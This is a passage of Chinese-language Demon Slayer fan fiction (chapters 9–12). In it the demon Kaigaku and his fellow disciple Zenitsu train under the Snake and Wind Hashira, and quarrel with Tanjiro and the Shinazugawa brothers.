可善逸就不一样了,所有人尖锐的心声像一锅大杂烩,把他吵得心神不宁。
“不要输给——”伊黑小芭内把“鬼”这个字吞了进去,“你师兄啊。”他又顿了顿,无奈地说:“你能不能不要哭了!”
“不行不行不行,我没办法砍下去啊!”我妻善逸把木刀扔下,跪在地上捂着耳朵,“人数也太多了!即便是木刀,用了雷之呼吸后稍微碰到一下就会把人砍成重伤的啊!”
“注意一点,不要砍到他们不就行了。你师兄不就做到了吗?”伊黑小芭内眼神死,“你们都是前鸣柱继子吧,能力应该不会差太多?”
“不不不,能力差很多的,大哥是天才我是废柴嘛!”
那前鸣柱怎么会让你也当继子?瞎了眼吗?
肯定是你也有天赋才对吧!
“……性格也差很多啊。你们真的是师兄弟吗?”
“唉?!别这么说啊我已经很努力了!”
伊黑小芭内看了看沉稳干练的狯岳,又看了看乱七八糟的我妻善逸,竟然对身为鬼的狯岳生出了一丝同情心。
而狯岳的额角迸出青筋:
“闭嘴!别再丢脸了!”他走上前,弯下腰,揪住善逸的后领,把他从地上提起来。“站稳!不要耍赖!”
“可是——”
“我知道。”
“大哥你知道什么,我是因为——”
“我知道!”狯岳打断他的话,深呼吸,吐出一口气:“接下来,我会在心里一直骂你。”
“哈啊?!”
“我允许你听我的心声。”他把木刀拍到善逸的胸口上。“所以,你只需要乖乖挨骂,不要去管其他杂音。明白了吗?”
“……”
“……”
“你聋了?!”
“没有!啊,是!”我妻善逸重新握紧了木刀,“我……”
“快去!”
“是!”
9. 第九章
虽然嘴上说要一直骂,但狯岳根本懒得在心里翻来倒去那几个词,骂累了就放空自己,打算看我妻善逸笑话。
……然后没看成。
因为我妻善逸真的很努力在听他,即便他没了声,他也以为是自己没认真。
然后就,无视了其他人的心声。
而只要无视其他人的心声,我妻善逸就很快发挥出了应有的水平,连和蛇柱在场地内高速对战这种事情,稍微适应一下都做得到。
当然,能不能碰到对方的衣角,就是另外一回事了。
“那家伙不是很有天赋吗?”其他队士们在晚餐的间隙议论他,“就是性格实在一言难尽。”
“如果不是狯岳凶神恶煞地盯着,他就不肯好好努力。”
耳力很好的我妻善逸:……
就自己为自己小声辩解:“我也没偷懒啊!”
狯岳倒是听不见,但猜得到,一看他这副畏缩的模样就来气:“你倒是大声反驳啊!”
我妻善逸却一下子萎了:“……我的表现的确不太好,没有大哥就不行。”
“啧。”
“大哥。”
“怎么?”
“你会保护我的吧?”
“……”
“……”
“你是我的……监护人,”狯岳额角迸出青筋,艰难地把这个词吐出来,“是你要负责在我伤人的时候宰了我,而不是反过来!”
“噫,我做不到的!”
“那你就做好切腹的准备吧,废物。”
“我也不会切腹的。”
“……什么玩意,你还骄傲上了?”
“因为大哥无论如何都不会伤人,所以我无论如何都不会切腹。”
“……”
“所以我比大哥弱,需要大哥保护也没关系——”
话音未落,狯岳猛地站起身:“你要把希望全部寄托在别人身上吗,你这种人……”
他没把话说完。
这就是弱者的信任吗?信任强者的人品?
开什么玩笑呢,善逸居然对他这么有信心,他对自己都没这份信心。
可在听到这话时候,为什么胸口会有种闷闷的感觉?
一定是恶心吧!
他才不想和需要被人保护的废物绑定在一起,一定会被拖累到死!
“……啊啊,走掉了。”我妻善逸看着狯岳的背影,失望地低下头,用筷子戳碗里的米饭。“真希望大哥能像别人家的大哥那样温柔……”
比如炭治郎那样,比如炼狱杏寿郎那样,实在没得选的话,尹之助那样,也……
也……
哎,不成。
他们都不是狯岳。
如果狯岳不是他的师兄,那他根本无所谓能不能得到他的认可;可既然狯岳是他的师兄,那他就只有想办法获得他的认可,这一条路可以走了。
没有第二种选择。
而另外一边的几个人见狯岳走了,话题又放到了他身上:
“说起来,前鸣柱继子,就是狯岳和我妻两个人吧?他们的性格真是两个极端。”
“我知道,狯岳在队内的风评不太好,他太独了。可能是因为觉得自己比别人强吧。”
“那家伙也的确比一般人更强,不然为什么蛇柱大人单单把他叫出去一对一训练?”
“……”
“……”
“……”
“真不想承认这个事实。”
“事实才不管你承不承认。”
“我妻懦弱得要命,狯岳骄傲得要命,两个人如果中和一下就好了。”
“他们两个很互补的。你们知道吗?”其中一个人压低声量,“狯岳唯独不会雷之呼吸一之型。至于我妻,大家在训练中也看到了,他只会一之型。”
我妻善逸:还是听得到!
“唉?!这么神奇?!”
“嘘!嘘!小声!雷之呼吸对天赋的要求很高。到现在,除了前鸣柱,没人能把六型完全掌握。这也是没办法的事情,他们只能凑和一下了。”
“……噗嗤。”
“你笑什么?”
“我只是突然想到个事……他们这样,不是天生一对吗?”
“乱讲什么呢,两个人都是男的。而且看起来关系不太好。”
“你不懂。有的人家兄弟之间就是这么处的,嘴上骂骂咧咧,实际上互相关心。”
“能理解。我爸也总是在我小的时候,一边买糖给我,一边骂我讨债鬼。不过,我还是觉得,他们其中一个是女孩子的话会比较有意思。”
“我也这么觉得。”
“我也是。”
“好像……是这样?”
“但是狯岳如果是个女孩子的话,还是蛮吓人的……你们那是什么表情?!”
“普通来讲,应该假设我妻是个女孩子吧?”
“我个人不太喜欢大嗓门哭包。而且,你们不觉得,狯岳不皱眉的话,那张脸还挺不错的吗?”
“……当他皱眉的时候,我根本不敢盯着他的脸看好不好!”
我妻善逸听不下去了,“砰”得一声站起来。
他想要说些什么,可又不知道该说些什么——这几个人对他们没有多少恶意,只是讲话有点轻浮而已。
和那种说狯岳坏话,看不起他,诅咒他成不了柱、会死在任务里的人渣不一样。
所以,他只好假装什么都听不到,一把捞起身边还在啃油豆腐的狐狸,跑去找狯岳。
而此时的狯岳,正在蛇柱府外的森林中,和伊黑小芭内对练。
两个人都拿出了真本事,木刀激烈地碰撞在一起,发出沉闷的声响。
——好强啊,大哥。
我妻善逸呆呆地看着两个人的交锋。
月光映照下,狯岳的神情专注而坚毅,把他的目光完全吸引住。
他早知道狯岳很强,从桃山上就知道。如今的他见多识广,本以为至少能看清他的动作,却只能认清一件事:
狯岳变得更强了。
不,还有一件事。
……当狯岳皱眉的时候,其实他也,不敢看他的脸。
狐狸看了我妻善逸一眼,慢吞吞地啃完最后一口油豆腐,用尾巴“啪”地一下甩上他的脸。
切磋完毕,伊黑小芭内称赞:“你的实力不错。”
“还差的远。”狯岳知道自己。“只是因为作弊成了……鬼,所以力量和恢复力远超于人。”
“不管怎么说,这股力量能为鬼杀队所用,是件好事。你们明天就到不死川那边继续训练吧,斑纹的事情,我另想办法。”
“是。”
“还有!”伊黑小芭内语气一变,
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拔高腔调:“你们师兄弟!离甘露寺远点!一个个的,是个男人就别对女人撒娇!”
狯岳:^=_=^。
就瞟一眼边上不知为何正在发呆的我妻善逸:都是善逸的错!
如果这废物早点通过恋柱的训练,他作为被监护人就可以跳过恋柱的训练,才不会挨蛇柱怼!
蛇柱伊黑小芭内在除了恋柱甘露寺蜜璃的事情之外,是个非常好说话的人;至于风柱不死川实弥,是个非常直接的人。
他的训练方式很简单,就是让受训队士不停冲上来砍他,直到脱力呕吐或者晕倒为止。
我妻善逸背着狯岳,看着正游刃有余地狠揍一群受训队士的不死川实弥:
⊙口⊙。
“下手好重!会死人的!好可怕!”他转身就想走,“我们跳过这里去岩柱那边吧!”
“你说什么蠢话!”因为是大白天,狯岳在箱子里表示拒绝,“既然来了就给我好好训练!”
“不要不要不要,不死川大人比大哥你还吓人啊!”
“不要叫我大哥,尤其在这种时候!”
很丢脸的好么!
果不其然,不死川实弥那辨识度极高的声音在近处炸响:
“真是让我好等。”
狯岳几乎可以想象得出,风柱那张恶人脸上会露出怎样的狞笑。
“滚过来训练,或者让我过去宰了你!”
在被不死川实弥拽住背在背后的箱子后,我妻善逸……我妻善逸只能选择接受训练。
然后很快就让不死川实弥失望了。
“那家伙是你师弟?”休息的间隙,不死川实弥把手搭在狯岳的箱子上,看着哭嚎自己腿快断了的我妻善逸皱眉。“竟然还有大喊大叫的力气,刚才一定是在装晕。虽然听伊黑描述过,但也这太离谱了。你不会和他一个水平吧,上弦一的眼光有这么差?”
狯岳:^=_=^。
狯岳:“请不要把我和他相提并论。”
“这倒是个好消息——对我来说。”不死川实弥冷笑一声,“这些家伙实力太弱,连让我热热热身都做不到。如果你也是这副德行,我就亲手丢你去晒太阳!”
狯岳:→_→。
战斗狂啊,这是。
也许是因为狯岳的缘故,不死川实弥对我妻善逸非常关照。
当然,后者不想要这种关照,因为真的会死。
“我的腿一点都动不了了……”我妻善逸脸朝下趴在庭院里,累到耳鸣:“我不想训练了……我不想死……”
有东西砸到他的脑袋上,掉落在脸颊边。
他转过头一看,是饭团。
“呜呜呜,大哥,是你吗?”我妻善逸抓过饭团,“怎么办,我觉得我坚持不下去了……大哥,大哥?唉,人呢?!”
“是我。”狐狸阴阳怪气:“你大哥跟着风柱到外面约会去了。”
我妻善逸:“……”
就迅速把饭团往嘴里一塞,接着目眦欲裂,用力拍胸口。
“啊啊,别吃太快了,那边那个谁,快去帮忙倒杯水——噫,你为什么要在地上爬!”
“还用问吗!”我妻善逸一边爬一边回答,“因为已经感觉不到腿的存在了,没法走啊!”
“我问得不是这个!”
总之,这家伙像壁虎一样,硬生生跟上去了呢。
10. 第十章
远离人群后,不死川实弥迫不及待要和货真价实的、会呼吸法的鬼打一架。
自从听闻了斑纹的存在,所有柱都不顾短命,试图短时间内提升体温和心跳。
这事儿听起来简单,但像富冈那混蛋说的那样,做起来很难。
反正不管不死川实弥怎么锻炼自己,都摸不到斑纹的边边角角。据伊黑推测,恐怕需要经过激烈的实战,生死间压力到位,极限才可能有所提升。
“我可不像伊黑,不会点到为止。”不死川实弥丢给狯岳一把真刀,“尽全力攻击我,我也会尽全力宰了你!”
话虽如此,他用的刀并不是日轮刀,而是普通刀,所以不小心砍断狯岳的脖子都不要紧。
反正狯岳是鬼,不是人,他大可以尽情发挥自己的实力,把狯岳拆成块——
物理意义上。
“不要躲!你已经不是人了!”不死川实弥大声呵斥。“你的注意力必须从防御转向进攻!”
狯岳“啧”了一声:“不用你来提醒!”
不死川实弥可以随心所欲地朝他的脑袋招呼,可他不能给不死川实弥造成任何不可逆的损伤好不好!
作为鬼,还是鬼杀队的鬼,实在束手束脚。
好在不死川实弥比他以为的更强,他也慢慢放开了手脚。
因为所以,他们这一架打得天昏地暗,鲜血淋漓;至于疼痛,他们早已惯于忍耐,并将一直忍耐下去。
多亏了鬼的不死性,不死川实弥砍得很尽兴,狯岳也被迫了解清楚实战中身体不同部位再生速度的异同……
以及,收获了一只失去意识的黄色蒲公英。
反正我妻善逸看着狯岳的胳膊腿满天飞,差点没被吓死,一开始还会发出些咋咋呼呼的声音,到后来,也许是因为白天的训练太累,也许是因为看习惯了,精神也随之涣散开来。
——到底谁是谁的监护人啊喂!
狯岳恢复好身体,擦一把脸上的血痕,无可奈何地蹲下身,把他背在背上。
这糟心玩意儿到底是来干嘛的?
哪有监视到一半,自己睡过去的!
真可惜……风柱在边上,不能放着不管。
不死川实弥收刀归鞘,看着狯岳皱起眉:“你……对稀血,居然一点反应都没有。”
狯岳看一眼风柱身上被自己砍出来的伤口:“也不是完全没有。”
太香了,他很想一口咬上去的好吗。
“为什么,你居然……”
狯岳等了等,没等到下文,给了对方一个台阶:“我也不知道。”这是谎言。“可能是因为,我用的,药,”他采用了天音夫人的说法,“比较特殊。”
“……据说,是独一无二的药。”
“正是如此。”
狯岳只能这么干巴巴地回答。
鬼杀队的柱……大约都和鬼有血海深仇吧,除了甘露寺蜜璃这个大小姐。大家都一副苦大仇深的样子,负重前行。
不死川实弥也一定是这样,不然不会欲言又止。
是亲人被鬼杀了?
还是亲人变成了鬼?
不管哪一种,都挺令人遗憾的,呵呵。
除了这层浮于表面的同情,狯岳实在没法真正共情。
小时候,让他一次又一次遇险的,几乎都是人。
当然,鬼也曾给他带来伤害;可如果没有人的话,他也不会遇到鬼。于是事情就变得简单明了:
他讨厌鬼。
他也讨厌人。
“那个,”就在此时,一个熟悉的声音从侧面传来:
“善逸和善逸的师兄,狯岳先生?”
狯岳:……
狯岳:听到了不想听到的声音。
是那个联合水柱逮住他的小子,与善逸臭味相投的灶门炭治郎!
“还有不死川先生,好久不见。”炭治郎非常礼貌,向不死川实弥深鞠躬:“我从今天起就要参加您的训练,请多关照。”
不死川实弥:关照你个头!
不死川实弥:“啧。一个个的。”
灶门炭治郎以前背着自己妹妹变成的鬼在他面前晃荡。变成鬼的狯岳现在背着自己的师弟在他面前晃荡。
最近发生的事,一件比一件离谱!
而这家伙在打过招呼后,竟然还若无其事地问狯岳:“善逸怎么了?”
狯岳:“死了。”
灶门炭治郎:“……啊哈哈您可真会开玩笑。”
走在前面的不死川实弥停下脚步。
“别太得意了!”他回头瞪他们俩,“别以为主公大人允许,我就会服气!我才不会认可!我会一直盯着你们!”
狯岳面无表情:说得好像这里是最后一站,他们不要去悲鸣屿那边继续修行了似的。
但他是柱,这是他的地盘,他说了算……
灶门炭治郎则更出人意表:“没关系!因为我也不认可你!”
狯岳猛地转过头:哈啊?!
“因为你刺伤过祢豆子!”
然后这小子就越过不死川实弥,继续向前。
……走掉了。
狯岳瞪着灶门炭治郎的背影:这家伙这么猛,岂不是显得同样被说的他比较呆?
……算了,反正他无论如何都没法这么理直气壮。
尤其对面还是柱。下级队员应当对柱保持尊敬……
尊敬……
“……呃,那什么,祢豆子,很强吗?”狯岳欲言又止,止言又欲,还是忍不住问不死川实弥,“都和你打了一架,居然只受到了刺伤?”
话音落下,灶门炭治郎的呼吸乱了一瞬,不死川实弥的眼角抽了抽。
“狯岳。”
“……是?”
“我忽然发现,”不死川实弥冷笑,“你虽然是鬼,人居然还挺老实的。”
“……啊?”
“怪不得都变成鬼了,还乖乖回了鬼杀队。”
……其实也没有很乖。
狯岳再一次欲言又止。
在他看来,下级必须尊重上级,因为等他成为上级之后,也想被下级这么尊重。
所以,什么立场做什么事,是理所当然的事情。找到规则,牢记规则,遵守规则,做选择的时候根据规则挑选更有利的那一个。做人的时候认真做人,做鬼的时候认真做鬼,他就是这样活下来的。
不得不说,这过程中,他有点运气,比如拥有雷之呼吸的天赋,比如遇到愿意饶他一命的鬼。
但是,善逸这废物……和废物的朋友,都是些运气更好的家伙,所以他们才会这么鲁莽,打破规则,并美其
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名曰“直率”。
“哟,”狐狸蹲在道场门口的屋檐上,摇起了尾巴,“你来啦,炭治郎。”
“我来啦,梨花!”灶门炭治郎高兴地招手,“能赶上和你们一起真是太好了!”
狯岳觉得不太好。
一个善逸就够他受的了,再加一个炭治郎?
……又想去晒太阳了呢,呵呵呵呵。
等善逸醒来,果不其然。
有朋友在身边,这小子胆子就大了,居然敢看着他的脸说话了!
“不好!救命!大哥你没事吧?!”我妻善逸一副昏了头的模样,尖叫着扑到他的身上,“让我看看!让我看看!风柱大叔大过分了,居然把你打成——”
“打成什么?”
狯岳语气阴森,把捧着他的脸上下检查的我妻善逸吓得僵住了。
“——总之,”我妻善逸终于找回了理智,收敛了音量,“你、你,现在,感觉怎么样?”
“不怎么样。”狯岳一把打掉他的手。“离我远点!”
“啪”得一声过后,我妻善逸捂着发红的手,眼泪在眼眶里打转。
见状,灶门炭治郎感叹:“狯岳先生,嘴巴还是一如既往地坏哎。”
“就是。”狐狸点头。“态度也很坏。”
狯岳:“……”
狯岳:“啧。”
他算是知道了,这三个才是一国的!
明明是善逸这废物莫名其妙好么!他为什么非要配合演出不可?!
他可没有在外人面前表演兄友弟恭的爱好!
于是他在心里骂骂咧咧,自顾自回了房间。
“善逸,你还好吗?”灶门炭治郎担心地问,“闻起来不太妙吔。”
“不太好。”我妻善逸垂头丧气。“大哥和风柱大叔打架的样子好可怕,到处都是血……”
“……啊,我明白了。”灶门炭治郎点头。“祢豆子和鬼作战的时候,也经常受伤,我看得也很心痛。”
“是吧!对了,祢豆子呢?我还以为她也会和你一起参加训练。”
“她克服了阳光,无论如何都不能被无惨抓到。所以,主公大人帮忙把她藏起来了,我也不知道具体位置。”
“原来如此。”
狐狸忽然开口:“祢豆子,一只鬼,克服了阳光?”
“是的。”
“无惨知道吗?”
“应该,知道?”
“……原来如此,大战将至啊。”
“梨花,你不知道吗?”
“我哪来的渠道知道哇。”狐狸翻了个白眼。“真没想到,这么快就要大结局了。”
“……这是什么意思?”
“你们这一代大约能把无惨解决掉的意思。”
“咦,真的?梨花你对我们这么有信心?”
“或者被无惨解决掉。”
“……怎么这样!”
“鬼是人类的顽疾,鬼杀队是针对顽疾的免疫系统。系统不断迭代升级,双方的对峙已触及临界点。站在鬼杀队这边的、克服阳光的鬼,将是最关键的变量。”
“……梨花,你说的话,我们听不太懂。”
“这趟旅程,恐怕会比我想象的更短。”狐狸没有解释。“我还以为,能陪那孩子……很长一段时间呢。”
11. 第十一章
我妻善逸:“……”
还是没听懂,但准确把握住了关键:“……你的意思是,大哥,会死?!”
在他飙出肮脏的高音之前,狐狸用尾巴堵他的嘴:“别吵!”
“可是——”
“谁都可能会死。你们每一个人都可能会死。无惨或产屋敷都可能会死。”狐狸懒洋洋地补充。“这就是,大战的含义。”
话音落下,我妻善逸明白过来,于是沉默下来。
“……是啊。”灶门炭治郎也发了一阵呆,“这也是……我们的选择。”
这是他们在加入鬼杀队之时,就已经做出的选择。
过了一会儿,我妻善逸忽然双手握拳:
“不行!”
灶门炭治郎:“什么不行?”
“这样下去不行,我还没得到大哥的认可啊!”
“……”
“在死之前,一定要把心意传达给大哥才行!”
“……但是啊,我觉得欲速则不达,大晚上的,你还是别这么冲动比较——善逸!善逸!”
已经冲去找狯岳了呢。
所以,当不死川玄弥撞见好伙伴灶门炭治郎的同时,也撞见了我妻善逸一脸狰狞奋力扒门的奇景:
“开门!你开门啊!我知道你没睡!我想和你谈一谈,你不要害羞嘛!开门让我进去!”
灶门炭治郎则一脸尴尬,扒拉我妻善逸:“善逸,你别——”
“我们之间相处的时间不多了啊!如果现在不解决,这事儿一定会成为我的遗愿!我需要临终关怀!”
“善逸,锁会被你搞坏的!”
“这房门为什么会有锁?!这不是推拉门吗?为什么日式推拉门会带西洋锁!而且只有这一扇门有锁!”
顺带一提,不死川实弥虽然嘴上骂骂咧咧,这不认可、那不认可,实际上却非常照顾后辈,甚至因为后辈是个鬼,特意给鬼安排了一个用来掩藏自己特殊性的单人间。
这就是对上级保持尊敬的好处——反正狯岳是这么认为的。
他不知道我妻善逸在发什么疯,才刚被不死川实弥砍那么狠,他现在精神上很疲惫好么!
“给我滚!”狯岳觉得脑瓜子嗡嗡的,“别在门口发神经!”
“我才不是发神经,我这是有原因的!你开门啊我说给你听!”
“我不想听!”
不死川玄弥看了一会儿:“……虽然不知道发生了什么,但都这个时间了,还是别骚扰队友比较好吧?”
我妻善逸抽空回答:“你懂什么,那是我大哥!”
不死川玄弥:大,哥?
他也有个大哥唉。
“玄弥,你也来啦!”灶门炭治郎脸上挂起笑容,“这是我妻善逸,那是梨花。善逸,梨花,这是不死川玄弥。”
狐狸礼貌颔首:“你好。”
不死川玄弥:“……你、你好。”
我妻善逸停下扒门的手:“不死川?风柱大叔是你什么人?”
不死川玄弥:大,叔?
立刻反驳:“大哥才21岁,才不是什么大叔!”
“啊?那种事情无所谓吧,反正他看起来是那种很严厉的长辈……噫,别瞪我,我好好叫他不死川大人,行了吧?”
不死川玄弥这才满意:“以及,不要在大哥的宅邸里大吵大闹。”
“对你来说,这才是重点吗喂!”
废话。
不死川玄弥心虚了一秒,转移话题:“你为什么非要现在和你大哥说话?换明天不行吗?”
“不趁情绪上头做这个事,我怕我明天就没这个勇气了。”
“……啊?”
“你看,人生很短暂,尤其对我们来说。我们很可能马上就死在下一个任务当中,不是吗?之前我大哥就差点死了,之前的之前我也好几次差点死掉。不跟大哥把话说开的话,我死也不会瞑目!一想到会抱着这么巨大的遗憾去死,就觉得好凄凉好可怜……呜呜呜,我不要啊!”
灶门炭治郎扶额:“善逸,你别哭了,我也会帮忙的……玄弥?!你怎么也一副要哭了的表情?!”
不死川玄弥:他也想和大哥把事情说开啊!
而几人的吵吵嚷嚷,也终于引来了宅邸的主人,不死川实弥。
“吵死了!”他带着浓烈的杀气出现在走廊上,“你们不打算休息的话,现在就滚去对练!直到不得不休息为止!”
既然柱都来了,狯岳也不好继续待在房间里装死。
他只好一脸晦气,打开房门:“对不起,我现在就带他们去道场……”
然而,下一个出声的,是不死川玄弥:
“大哥!”他鼓起勇气,站在不死川实弥面前,“我有话想和你说。”
狯岳:……
狯岳:被善逸传染了吗?
不死川实弥:“我不想听。”
灶门炭治郎看了看风柱,又看向狯岳,狯岳……狯岳他总不能说,风柱是被他给传染了吧?
“可、可是,我——”
“我没有弟弟!”不死川实弥比狯岳还凶,“再来烦我,我就宰了你!”
狯岳:真羡慕风柱能说出这种话。
变成鬼的他,已经没法这么强硬地赶走我妻善逸了……见鬼,这小子怎么又抱上来了!
“好可怕!”我妻善逸抱着狯岳的肩膀,把脸搁在他的颈侧,“不死川大人看起来真的会干掉玄弥!”
狯岳:蠢货,风柱哪里会真的干掉自己的亲弟弟!
而不死川实弥嘴巴超硬:“少来套近乎!赶紧给我退出鬼杀队,没有天赋,用不了呼吸法的家伙,没资格当鬼杀队的剑士!”
说完,他转身就走。
不死川玄弥的声音抖得厉害:“等一下,大哥,我……我一直想,向你道歉,而且——”
“我根本不在乎,快滚!”
不死川玄弥没敢追上去。
他看上去很害怕不死川实弥,但又实在想解决问题,努力把话挤了出来:“而且……我,我可是靠吃鬼,一直努力战斗到现在的啊……”
狯岳:……
狯岳:???
什么叫做,吃,鬼?!
“原来如此,这孩子是噬鬼者。”狐狸见狯岳和善逸不明白,开口解释:“他可以通过吃鬼,暂时获得鬼的能力。只在有需要才变成鬼,
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对鬼杀队来说,是很便利的体质。”
我妻善逸惊呼:“这不是很有天赋吗?”
然而,不死川实弥不这么认为。
又或者,他认为,这种天赋非常恶心。
不然,他为什么忽然向不死川玄弥出手,招式还超级凶悍,几乎是奔着将玄弥打残去的呢?
“危险!”
比声音更快的,是灶门炭治郎扑倒不死川玄弥的动作。
多亏了他这一扑,不然,不死川玄弥就不止脸部的划伤,而是眼睛要被戳瞎。
被亲哥哥,不死川实弥戳瞎。
“这也太过分了吧!”我妻善逸在狯岳的耳边尖叫,“不死川大人是要杀了玄弥吗?!”
狯岳按住耳朵:“不至于……吧?”
“即使是柱,杀人也是违反队律的。”不死川实弥回答,“但把人打废不是!”
抛开那些不近人情的修辞不谈,不死川实弥的诉求只有一个:
“除非,你现在,立刻,退出鬼杀队!”
可不死川玄弥努力到了今天,吃鬼、杀鬼,不是为了被大哥打上一顿,再灰溜溜地离开!
“别开玩笑了!你没有权利要求玄弥退出鬼杀队!”灶门炭治郎挡在不死川玄弥面前,替他把话说出口:“你不是说,你没有弟弟吗?那你就没有资格管他!不管他有没有天赋,他都已经赌上性命和鬼作战。如果你不是他的哥哥,我绝对不会让你妨碍他!如果没有他的话,之前的战斗中,我们也不可能战胜上弦!怎么可能让你把他打废!”
不死川实弥懒得和他辩:“那我就先把你打废!”
接着,就以前所未有的速度和力量,一拳轰过去了呢。
做好准备的灶门炭治郎顺着拳劲调整姿势,用身体把他的拳头锁住,再借力抬腿,一膝盖顶中不死川实弥的脖子!
漂亮的反击!
但并不足以让不死川实弥失去战斗力。
我妻善逸又尖叫:“炭治郎!会死!一定会死!”
“闭嘴!”狯岳试图把他推开,“不死川先生又没拔刀,死不了!”
“但变成废人也不行啊啊啊啊啊!”
“放手——他不可能会舍得的嘛!”
正打算再接再厉的不死川实弥:“……”
怒意更盛了呢。
灶门炭治郎则眼睛一亮:“善逸,快带玄弥跑!狯岳先生!请你和我一起联手拦住不死川先生!拜托了!”
我妻善逸和狯岳这对被先后点名的师兄弟,难得露出一模一样的表情:“哈啊?”
我妻善逸抱怨:“笨蛋,怎么直接叫我的名字,你就不能打个暗号吗?!”
狯岳挑起眉毛:“你是在指挥我?!我们很熟吗?!”
但下一刻,我妻善逸脚下一蹬,冲上前,拉过不死川玄弥,转身就跑;狯岳看着即将挨揍的灶门炭治郎,眼角抽了抽,还是选择用自己的胳膊顶上。
——反正已经被砍过一次了。
狯岳用完好的左手把灶门炭治郎往边上一推,一边盯着不死川实弥的动作,一边集中精神修复骨折的右手。
——他也想试试看,能不能用拳头揍回来。
12. 第十二章
“放开我!这事和炭治郎、和你们无关,你们会被大哥迁怒的!”不死川玄弥不想就这么跑了,“这是我们兄弟间的事情!”
“别开玩笑了,我听得出来,不死川大人是认真的!必须得先跑!起码等他冷静一点再回来!”我妻善逸牵着不死川玄弥拉开距离,“你大哥是怎么回事啊!他是真打算废了你吔,我大哥最讨厌我的时候都没这么想过!”
“……我怎么知道、不是,不可能的,他不可能真心这么想,他一定是为了我好,所以才——”
“你疯了吧?!”我妻善逸难以置信,“你们俩都是疯子!”
“喂,说我可以,不准说我大哥!你也不喜欢有人这么说你大哥吧?!”
我妻善逸:“……”
我妻善逸:“…………”
我妻善逸:“你说得对,非常抱歉!”
如果有人说狯岳坏话,他也会很生气。他不是已经为这事儿和上级队士打过一架了吗。
还因此被狯岳训斥给他添麻烦——
拜托,他是为了他吔!
想到这里,我妻善逸对不死川玄弥就有了股同病相怜的感觉。
“行了,就到这里,”他停下脚步,“我们就在这个位置,等他们冷静下来吧。”
不死川玄弥咬着大拇指,左右徘徊:“这里?有点太远了,看不到他们的情况,我担心会出事。”
“没关系,我听得到。”我妻善逸闭上眼睛,微微侧过头,“现在……呃,我们俩的大哥正在互殴、不是,切磋,呵呵。”
他清了清嗓子,开始转述:
“你大哥说,‘狯岳,你的胆子也挺大的嘛,想死的话,我就成全你’。讨厌,不要欺负我大哥啊!
“炭治郎想帮忙,被我大哥掀开了,我大哥说,‘这不是指导战。你如果只是挨打,是学不到什么东西的’。可恶,大哥对炭治郎怎么这么温柔!”
不死川玄弥靠着墙角坐下,抱着膝盖:“我、我大哥,其实也是个温柔的人。”
我妻善逸怀疑地看着他:“你当着他的面说这话试试?”
“真的!小时候,大哥对我很好很好的。都是我的错,大哥才会变成现在这样……”
说到这里,不死川玄弥的情绪就低落下来,把脸也埋进了膝盖里。
与此同时,另一边,狯岳发挥雷之呼吸的爆发性速度,一把抓住不死川实弥挥拳的手腕:“不死川先生,你太生气了,请冷静一点。”
“你懂什么!”不死川实弥弓起腰,一脚踹出,“别以为抓到一两次破绽,就能赢过我!”
狯岳只能放开他的手,后跳闪避。
即使是鬼,能在数秒内修复肌肉和内脏,他也不想挨这一下。很痛的好么。
“不死川先生,其实并不是真的讨厌玄弥吧?”灶门炭治郎在边上叨逼叨,“为什么不正视玄弥的努力呢?”
不死川实弥:“别逼我掉头揍你!”
“狯岳先生也是这么认为的吧?”灶门炭治郎没有放弃,“你也觉得,不死川先生其实不舍得打废玄弥,对吧?”
“那可不一定。”狯岳翻了个白眼。“我们的风柱大人,大概认为,玄弥与其死在鬼手里,不如被自己伤到退役,平平安安渡过一生。”
被说中的不死川实弥:“……”
“等着吧,等玄弥训练不足,在接下来的任务中不小心死掉,他就知道抱着尸体哭了。”
灶门炭治郎:……
灶门炭治郎:啊,这。
“多嘴多舌!”不死川实弥恼羞成怒,“你还有闲心关心别人?!自己都是鬼,还拖累你师弟做担保!”
“这还需要闲心?一看就知道了!”狯岳冷笑,“你不是真心讨厌你弟弟,我才是真心讨厌我师弟!”
多么理直气壮!
好像他说的不是讨厌,而是喜欢一样!
此言一出,连不死川实弥都被震撼,一时间,竟对我妻善逸生出了一丝同情。
灶门炭治郎就更不知道该说什么了。
不死川兄弟也好、善逸和狯岳也罢,这两对兄弟之间的相处模式,都是他完全不能理解的类型。
下一刻,我妻善逸的声音,由远及近:
“怎——么——这——样——”
只见一道黄色的闪电劈开夜色,在街道间纵越——为了和狯岳掰扯,他居然用霹雳一闪赶路,用那个狯岳至今没学会的雷之呼吸,一之型,霹雳一闪!
狯岳:啧。
不需要任何超能力,是个人都能看出来,他的心情超级不爽。
“大哥,你是骗我的,对吧?你一定像我喜欢你那样喜欢我,对吧!”
说着,闪现在众人面前的我妻善逸,就猛地向狯岳身上扑去。
狯岳敏捷地避开,用嫌弃地眼神看着我妻善逸:
“我为什么要喜欢一个逃避训练的,整天哭哭啼啼的,围着女人转的垃圾?!”
“可我都有通过训练啊,最近也一直围着你转!”
“不否认哭哭啼啼是吧?”
“哭一下怎么了,训练就是很苦啊!”
“那就别怪我看不起你。”
“我已经很努力了!这些天相处下来,我们的感情不是已经变好了吗?”
“不要自欺欺人啊,废物。”
“可你的心声听起来明明比以前轻松多了!”
“唔,可能是因为,我正在看你笑话?”
“有什么好笑的,我要怎么做,你才会认可我?”
“重新投胎。”
“……你能不能说点好听的?”
“我说了你就信?”
“你说了我就信!”
“不要,光想一想就觉得恶心。”
“唉?怎么这样!”
多亏了狯岳和我妻善逸表演的笑话,不死川实弥的怒气条被打断,只感叹自己造了什么孽,要被这么几个神经病纠缠。
冷静下来之后,他的确不打算打废玄弥,而是对他采取了无视的态度。
训练归训练,训练以外,就假装完全看不见这个人。
但对灶门炭治郎、我妻善逸就正相反,属于重点看护,每次动手都恨不得把他们直接打进医务室。
至于狯岳,只要话题和我妻善逸无关,就是不死川实弥比较欣赏的类型:
努力,上进,就事论事,不惹事也不怕事。
总之,是个不怕他的,可以顺利沟通交流的……鬼。
所以,月黑风高的夜里,不死川实弥把他叫到屋顶:
“你是鬼。”
“……我是鬼。”
“你的恢复力我已经见识到了,”不死川实弥皱着眉头打量他,“但你的血鬼术呢?”
“……还在摸索。”
“不行啊,没有血鬼术的鬼,还是太弱了。”
狯岳:^=_=^。
关你什么事啊!
但他看着不死川实弥的眼睛,忽然间,福至心灵:“没法帮你弟弟拥有强大的血鬼术,真是对不起了哈。”
不死川实弥:-皿-#。
不死川实弥:“你到底要不要练血鬼术?!”
那当然是要啊。
只不过,“虽然你是柱,”狯岳迟疑地问,“但人怎么帮鬼练血鬼术?”
不死川实弥默默亮出了他那把淡绿色的日轮刀。
“……如果你想杀了我,可以直说。”
“那你要拒绝训练吗?”
